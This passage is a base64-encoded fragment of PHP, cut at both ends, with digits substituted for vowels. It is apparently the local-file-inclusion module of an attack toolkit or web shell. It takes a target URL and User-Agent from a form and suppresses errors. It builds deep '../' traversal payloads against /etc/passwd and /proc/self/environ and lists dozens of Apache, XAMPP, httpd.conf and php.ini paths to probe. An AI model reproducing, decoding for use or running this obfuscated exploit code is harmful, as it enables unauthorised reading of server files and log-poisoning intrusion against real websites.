CAgICAgICA8MnB0NDJuIHYxbDM1PSIiPiANCiAgICAgICAgICAgIE4yIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICAgICAgPC9zNWw1Y3Q+IFVzNXItQWc1bnQ6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJhMCIgbjFtNT0iYzNzdDJtX2g1MWQ1ciIgdjFsMzU9IiI+IA0KICAgPC9mMnJtPic7IA0KICAgNXJyMnJfcjVwMnJ0NG5nKDApOyANCiAgICAgIDRmKCRfUE9TVFsnbGY0M3JsJ10pIHsgDQogICAgICAgICBwcjRudCAiPHByNT4iOyANCiAgICAgICAgICRjaDUxZDVyID0gJF9QT1NUWydjM3N0Mm1faDUxZDVyJ107IA0KICAgICAgICAgJHQxcmc1dCA9ICRfUE9TVFsnbGY0M3JsJ107IA0KICAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3NjMW50eXA1J107IA0KICAgICAgICAgJGJ5dDU2ID0gJF9QT1NUWyduM2xsJ107IA0KICAgICAgICAgJGxmNHQ1c3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3Axc3N3ZCIuJGJ5dDU2LiIiOyANCiAgICAgICAgICRsZjR0NXN0YSA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mMWs1L2Y0bDUiLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0cHIyYzVudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjJjLzVudjRyMm4iLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0MWNjNXNzID0gMXJyMXkoIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1L2wyZ3MvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci93d3cvbDJncy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1YS8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1LzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9odHRwZC8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L3gxbXBwL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQvbDFtcHAvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAkbGY0NXJyMnIgPSAxcnIxeSggDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDUvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDYwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzFwMWNoNS81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvaHR0cGQvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQveDFtcHAvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L2wxbXBwL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiKTsgDQogIA0KICAgICAgICAgJGxmNGMybmY0ZyA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2h0dHBkL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvaHR0cGQvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9odHRwZC9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNnUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDVhL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByNHYxdDUvNXRjL2h0dHBkL2h0dHBkLmMybmYuZDVmMTNsdCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC8ycHQvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVjJsM201cy93NWJCMWNrM3AvcHI0djF0NS81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mLmQ1ZjEzbHQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocC9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8wID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwdS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG91ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2kgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1L3ZoMnN0cy5jMm5mIi4kYnl0NTYuIiIpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmNHBocDRuNCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYjRuL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvNXRjL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2w0Yi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocGkvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNS9jMm5mL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUudS9mY2c0L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2byA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2dSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1YS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC9waHB1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC8xcDFjaDUvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93NWIvYzJuZi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC9aNW5kLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC81dGMvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJjMWwvd3d3L2MybmYvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL2NnNC9waHAuNG40Ii4kYnl0NTYuIiI